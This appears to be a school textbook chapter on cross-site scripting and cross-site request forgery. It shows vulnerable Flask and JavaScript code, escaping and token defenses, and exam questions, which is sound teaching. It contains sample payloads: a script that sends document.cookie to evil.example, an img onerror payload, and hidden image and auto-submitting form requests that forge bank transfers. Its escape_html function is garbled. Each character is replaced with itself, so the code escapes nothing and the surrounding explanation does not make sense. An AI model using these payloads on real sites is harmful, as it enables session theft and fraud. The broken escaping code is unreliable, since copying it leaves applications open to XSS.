Imagine your school builds a website for the Class 9 Computer Science project — a simple forum where students post comments about upcoming exams. Anyone can type a message in a text box, click "Post," and their comment shows up for the whole class to read. One day, a comment appears that says nothing unusual, but the moment anyone opens the forum page, their browser silently redirects them to a strange site, or a pop-up shows text that looks suspiciously like their own login cookie. No one uploaded a virus. No one clicked a shady download link. They only opened a web page that every other student had already opened safely a hundred times. What changed?
The answer is that one student did not type a comment — they typed a small piece of executable code, and the forum's server happily stitched that code into the page it sent to everyone else's browser. This is the essence of Cross-Site Scripting (XSS), the first attack in this chapter. Later we will meet its cousin, Cross-Site Request Forgery (CSRF), which achieves damage in a completely different way — not by running code in your browser, but by tricking your browser into sending a request you never intended to send. Both names start with "Cross-Site," which is exactly why students often confuse them on exams. By the end of this chapter you will be able to tell them apart instantly, because you will understand the actual mechanism behind each one, not just the name.
HTML is not just words — it is instructions the browser obeys
To understand XSS, you first need to see something that is easy to forget once you have used the web for years: when your browser receives an HTML page, it does not treat the page as plain text. It parses it — it looks for tags like <p>, <img>, and <script>, and it obeys them. A <script> tag is not decoration; it is a command that says "run this JavaScript code, right now, with the same permissions as everything else on this page."
This becomes dangerous the moment a website takes something a user typed and inserts it directly into the HTML of a page that other people will load, without checking what is inside it. Here is a simplified version of the forum's server code, written in Python (using a Flask-style web framework), that does exactly this:
@app.route("/forum")
def forum():
html = "<h1>Class Forum</h1>"
for comment in comments:
html += "<p>" + comment + "</p>"
return html
This function builds one long HTML string by gluing together a heading and then every stored comment, wrapped in <p> tags. If a comment is the plain text "See you at 9am," the output contains <p>See you at 9am</p>, which is exactly what we want. But nothing stops a comment from containing HTML tags of its own. Suppose one student submits this as their "comment":
<script>document.location='https://evil.example/steal?c=' + document.cookie</script>
The server does not know the difference between "text a human wants to read" and "a tag the browser will execute." It just concatenates the string, so the final HTML sent to every visitor literally contains a <script> tag sitting inside the page, right next to the real comments. When any student's browser loads /forum, it parses this HTML from scratch — and because the <script> tag is part of the original page content (not something added afterward by JavaScript), the browser runs it exactly as if the forum's own developers had written it. The script reads document.cookie — the browser's stored session information for this site — and sends it to the attacker's server through a redirect. The comment is stored permanently in the server's comment list, so this happens to every single visitor from now on, until someone deletes the comment. This is called stored XSS, because the malicious payload is saved on the server and served repeatedly.
A close relative is reflected XSS. Instead of being saved, the payload travels inside a request — commonly a URL — and the server immediately echoes it back into the response page without storing it anywhere. For example, a naive search feature might build its results page as "<p>Results for " + query + "</p>", where query comes straight from the URL. If an attacker crafts a link like example.com/search?q=<script>...</script> and tricks a victim into clicking it (say, through a WhatsApp message disguised as an exam-results link), the victim's own request carries the payload to the server, and the server reflects it straight back into HTML that the victim's own browser then parses and executes. Nothing is stored — the attack only affects whoever clicks that specific crafted link.
Why steal a cookie? The session cookie is your library card
You might wonder why document.cookie is the prize worth stealing. When you log in to a website — your school portal, IRCTC, or a banking app — the server does not ask you to retype your password on every single click. Instead, after a successful login, it hands your browser a small piece of data called a session cookie, and your browser automatically attaches that cookie to every future request it sends to that same site. The cookie is proof, to the server, that "this request is coming from someone who already logged in."
Think of it like a library card. Once the librarian verifies your identity and issues the card, you don't show your Aadhaar card every time you borrow a book — you just show the card. But that also means whoever is physically holding your card can borrow books in your name. A stolen session cookie works the same way: whoever has the cookie value can send requests that the server accepts as coming from you, without ever knowing your password. This is why stealing document.cookie through XSS is so serious — it is effectively stealing your logged-in identity on that site.
A common misconception: "XSS payloads always look like <script>alert(1)</script>"
This is true only in the stored and reflected cases above, where the payload becomes part of the HTML the browser parses when the page first loads. There is a third type, DOM-based XSS, where the danger comes entirely from JavaScript running in the browser that takes some input — often something from the URL — and inserts it into the already-loaded page using a property like innerHTML. Consider this client-side code for the same forum, written to add comments without reloading the page:
function addComment(text) {
const div = document.getElementById('comments');
div.innerHTML += '<p>' + text + '</p>';
}
Here is the twist that catches many learners: if an attacker's payload is <script>alert(document.cookie)</script>, this code will not run it. Browsers deliberately ignore <script> tags that are inserted into a page after the fact through innerHTML — it is a built-in safety quirk, precisely to blunt this kind of attack. So real DOM-based payloads avoid <script> tags entirely and instead use HTML elements whose event-handler attributes fire automatically, such as:
<img src=x onerror="alert('Hacked! Cookie: ' + document.cookie)">
Trace through what happens: text becomes this string, and it gets concatenated into div.innerHTML. The browser creates a real <img> element with src="x". Since "x" is not a valid image URL, the image fails to load, which fires the element's onerror event — and unlike <script> tags, event-handler attributes like onerror, onload, and onfocus execute normally even when inserted via innerHTML. The attacker's JavaScript runs. So the accurate rule is: a script tag executes only if the browser parses it during the page's initial HTML load; if code is injected into an already-rendered page via innerHTML, attackers must use event-handler attributes instead. Both are XSS — the difference is just which document-loading stage the malicious HTML enters at.
Fixing XSS: turn user data back into data, not instructions
The fix is not "delete all comments with angle brackets" — that breaks legitimate text like "5 < 10 is true" and is easy to bypass anyway. The real fix is output encoding (escaping): before inserting any user-supplied text into HTML, convert the characters that have special meaning to the browser into harmless equivalents. Here is what that looks like, and why the order of replacements matters:
def escape_html(text):
return (text.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'"))
comment = "<script>alert('xss')</script>"
print(escape_html(comment))
# Output: <script>alert('xss')</script>
Notice & is replaced first. If you escaped < to < before handling &, the very ampersand you just introduced would get escaped again on the next line, turning < into &lt; — a bug called double-escaping that corrupts the display. With the correct order, the browser now receives literal text characters <script>... and displays them as the harmless string <script>alert('xss')</script> on screen, instead of running it. The comment shows up looking exactly like what the attacker typed — as text, not as a live tag.
For the DOM-based case, the equivalent fix is to stop building HTML strings altogether and use textContent, which never parses its input as markup:
function addCommentSafe(text) {
const div = document.getElementById('comments');
const p = document.createElement('p');
p.textContent = text;
div.appendChild(p);
}
Two more layers of defense are worth knowing. First, most modern frameworks (React, for instance) escape all text by default when you render it normally, and only allow raw HTML injection through a deliberately named, hard-to-misuse function — a good design choice, because it makes the dangerous path stand out. Second, servers can send a Content-Security-Policy (CSP) header that tells the browser which sources of script are allowed to run at all, so even if an attacker's tag sneaks into the page, the browser refuses to execute it. Finally, marking the session cookie itself as HttpOnly (shown later in this chapter) prevents any JavaScript — including an attacker's injected script — from reading it via document.cookie in the first place, which limits the damage even if an XSS bug slips through.
A different kind of attack: the forged transfer request
Now picture a different scenario. You log in to your bank's website in one browser tab to check your balance. In another tab, you visit a page someone shared with you — maybe it promises a free mobile recharge. That page looks completely harmless: no login form, no password field, nothing asking for your bank details. Yet minutes later, money has moved out of your account. You never typed your bank password on that page. You never even saw a transfer form. How?
Recall that your browser attaches your bank's session cookie automatically to every request it sends to your bank's domain — regardless of which tab or which page triggered that request. The recharge page can contain something as simple as this, hidden in its HTML:
<img src="https://bank.example.com/transfer?to=attacker123&amount=50000">
Browsers load <img> sources automatically, as a plain GET request, the instant the page renders — no click needed. If (this is a genuinely bad but historically common design mistake) the bank's server accepts a money transfer through a GET request, this image tag alone triggers it, and your browser dutifully attaches your real session cookie, because as far as the browser is concerned, this is just a normal request to bank.example.com. The bank's server sees a validly authenticated request and processes the transfer. This is Cross-Site Request Forgery (CSRF): the attacker never sees your cookie, never learns your password, and never runs any code inside your bank's page. They simply forge a request and rely on your browser to authenticate it for them.
Well-designed APIs avoid state-changing actions on GET requests specifically because of this, so a more realistic modern attack uses a hidden, auto-submitting form to fire a POST request instead:
<form action="https://securebank.example.com/transfer" method="POST" id="evil">
<input type="hidden" name="to" value="attacker123">
<input type="hidden" name="amount" value="50000">
</form>
<script>document.getElementById('evil').submit();</script>
The moment the victim's browser renders this page, the script fires the form submission. Browsers permit cross-site form submissions by design — that is how, for example, a payment gateway page can legitimately POST you back to a merchant's site. The bank's server has no way to tell, just by looking at this incoming POST request, that it did not originate from the bank's own transfer page — the cookie looks identical either way.
The key insight: what each attack actually breaks
Here is the concept that resolves the exam-time confusion between these two names. Browsers enforce a rule called the Same-Origin Policy (SOP): JavaScript running on evil.example is normally forbidden from reading the response of a request it sends to bank.example.com — it can trigger the request, but the answer comes back invisible to it. XSS is dangerous precisely because it defeats this rule: by getting the attacker's code to execute as if it were the bank's own script (because it is literally embedded inside the bank's page), the code runs with full access to that page's cookies, DOM, and any data it can fetch — the Same-Origin Policy does not apply, because as far as the browser is concerned, it is the same origin now.
CSRF never breaks the Same-Origin Policy at all. The attacker's page on evil.example is allowed to send a cross-site request — that part was never restricted — but it still cannot read anything back. The attacker in the transfer example has no idea whether the transfer succeeded, how much money was in the account, or anything else about the response. CSRF is a blind attack: it works purely by causing a side effect (a state change on the server) using credentials it never had to see or steal. XSS steals and reads; CSRF blindly triggers.
Fixing CSRF: prove the request came from the real page
Since the bank cannot distinguish a forged request from a genuine one by looking at the cookie alone, the fix is to require a second piece of proof that only the bank's own page could have handed the browser — something the attacker's page has no way to obtain, precisely because of the Same-Origin Policy protecting it. This is the CSRF token: a long random value the server embeds in the legitimate transfer form when it renders the page for a logged-in user.
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a8f5f167f44f4964e6c998dee827110c">
<input type="text" name="amount">
<button type="submit">Transfer</button>
</form>
When this form is submitted, the server checks the submitted csrf_token against the one it issued to that user's session. An attacker's forged form on evil.example cannot include a valid token, because generating one requires reading it off the bank's real page first — and the Same-Origin Policy blocks the attacker's JavaScript from fetching and reading that page's content across origins. Without a matching token, the server rejects the request even though the cookie was valid.
The second, complementary defense lives in the cookie itself, via the SameSite attribute the server sets when issuing it:
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
SameSite=Strict tells the browser: never attach this cookie to a request that originates from a different site, full stop — which would have stopped both the image-tag and the auto-submitting-form attacks before they reached the server at all. Secure ensures the cookie is only ever sent over HTTPS, and HttpOnly, as mentioned earlier, blocks any JavaScript (including an XSS payload) from reading the cookie's value through document.cookie. It's worth knowing that current major browsers now default cookies to SameSite=Lax even when a site doesn't set it explicitly, which already blocks cross-site POST forgeries like the form example — a real improvement over the situation a decade ago. But Lax still permits some cross-site navigations (like following an ordinary link) to carry the cookie, and plenty of servers and older clients still don't get this protection automatically, so CSRF tokens remain the dependable, explicit defense that a well-built application should never skip.
Seeing both attacks side by side
Where this sits in your CS syllabus
Under CBSE's Computer Science and Informatics Practices framework, XSS and CSRF fall under network and cyber security, alongside related vocabulary you should be comfortable defining precisely for board-style questions: session cookie (data proving an authenticated session), Same-Origin Policy (the browser rule restricting what one origin's script may read from another), sanitization/escaping (converting special characters so user input is treated as data, not markup), and the cookie attributes HttpOnly, Secure, and SameSite. A well-framed exam answer distinguishes the two attacks not by their names but by mechanism: does the attacker's code execute with the victim site's privileges (XSS), or does the attacker merely cause the victim's browser to send an authenticated request it cannot read the result of (CSRF)?
Check yourself
- A shopping site displays search results as
"You searched for: " + userInput, inserted directly into the page's HTML by the server before sending it to the browser. Is this vulnerable, and if so, to which specific type of XSS? - Explain, in your own words, why a payload like
<script>alert(1)</script>would fail to run if injected into a page throughelement.innerHTMLafter the page had already loaded, and describe what kind of payload an attacker would use instead. - A food-delivery site processes address changes through a plain GET request:
foodapp.example.com/updateAddress?addr=.... Explain how an attacker could exploit this using nothing but an<img>tag, and why switching this endpoint to require a POST request with a CSRF token would stop it. - A classmate says, "My site is safe from both XSS and CSRF because I use HTTPS everywhere." Explain precisely why this claim is false — what does HTTPS actually protect, and what does it leave completely unprotected?
- If a cookie is marked
HttpOnly, which of the two attacks in this chapter does that weaken, and which one does it do nothing against? Justify your answer using what each attack actually needs to succeed.
Summary
- XSS happens when a website inserts user-supplied text into a page's HTML without escaping it, so the browser treats attacker-supplied text as executable instructions running with the trusted site's own privileges.
- Stored XSS persists on the server and hits every visitor; reflected XSS travels inside a single crafted request/link; DOM-based XSS is injected client-side via JavaScript after the page has loaded, and typically relies on event-handler attributes rather than
<script>tags, since browsers ignore scripts inserted throughinnerHTML. - XSS defenses: escape output before inserting user data into HTML, prefer
textContentoverinnerHTMLfor untrusted data, apply a Content-Security-Policy, and mark sensitive cookiesHttpOnlyso injected scripts cannot read them. - CSRF happens because browsers automatically attach a site's cookies to every request sent to that site, regardless of which page triggered the request — so an attacker's page can force a victim's browser to send an authenticated, state-changing request without ever seeing or stealing anything.
- CSRF defenses: unpredictable per-session CSRF tokens that an attacker's cross-origin page cannot obtain, the
SameSitecookie attribute to stop the cookie from being sent on cross-site requests, and never using GET requests for actions that change data. - The defining difference: XSS breaks the Same-Origin Policy so attacker code can read what it should never see; CSRF never breaks it — it is a blind attack that only causes a side effect using credentials it never had to touch.